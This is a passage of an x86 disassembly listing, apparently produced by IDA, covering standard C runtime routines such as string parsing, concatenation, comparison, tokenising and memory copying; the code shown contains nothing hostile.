		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB2A8, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26906F7h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2690DF2h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2F4

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2F4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
